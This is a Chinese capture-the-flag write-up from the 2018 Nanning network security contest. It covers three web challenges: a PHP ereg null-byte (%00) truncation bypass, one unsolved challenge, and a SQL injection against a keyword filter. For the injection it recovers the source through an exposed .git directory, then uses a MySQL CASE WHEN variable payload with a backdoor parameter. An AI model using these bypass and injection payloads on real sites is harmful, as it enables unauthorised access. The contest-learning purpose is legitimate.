2018~第三届南宁市网络安全技术大赛~nnctf~write-up

Web

1.超简单

分值:100 类型:WEB 已解决

题目:超简单的web题  http://gxnnctf.gxsosec.cn:12311/

 

代码审计

1){               //但是if(strlen($a))长度必须>1
                echo 'you are a great dark phper
'; echo "
"; echo $flag; }else{ echo 'you no dark'; } }else{ echo 'you are so dark'; } } }else highlight_file(__FILE__);

构造payload的两种方法:

?no=0000
?no=0%00   //erge()函数 %00截断

2.帽子商城

分值:200 类型:WEB 未解决

题目:有帽子你就能变强,去这买几顶帽子吧 http://gxnnctf.gxsosec.cn:12313

3.Sql???

分值:200 类型:WEB 已解决

题目:小明想当一名黑客,于是学习写网站,但他遇到点问题,帮帮他吧 http://gxnnctf.gxsosec.cn:12312/

按照一般思路测试id,  200OK

看到这些首先想到测试ID,是否存在注入,试了各种姿势未果,发现大部分关键字都被过滤,联合注入、盲注都走不通,于是想到可能存在其它辅助漏洞,用御剑扫描工具进行扫描发现http://gxnnctf.gxsosec.cn:12312/网站目录/.git/存在git泄漏,直接利用git恢复工具恢复文件,到这里希望就很大了,仿佛找到了sql大门,当初没有直接想到先扫描一下网站,导致浪费了很多时间 (T_T)

https://github.com/style-404/Git_Extract      //git恢复工具

/.git/文件恢复

对index.php进行代码审计

审计发现几乎所有的关键字都被过滤了,但是case when关键字没有被过滤,利用MySQL的case when的特性进行绕过,判断变量是否为空,若为空赋值为2,不为空的话查询结果为1。第一次查询返回2,第二次查询返回1。

case when测试:

条件满足:

1. 参数id在里面进行两次sql查询,第一次需要id=2、第二次需要id=1

2. 参数backdoor=Melonrind

构造payload

http://gxnnctf.gxsosec.cn:12312/?id=case%20when%20@nnctf%20is%20null%20then%20@nnctf:=2%20else%20@nnctf:=@nnctf-1%20end&backdoor=Melonrind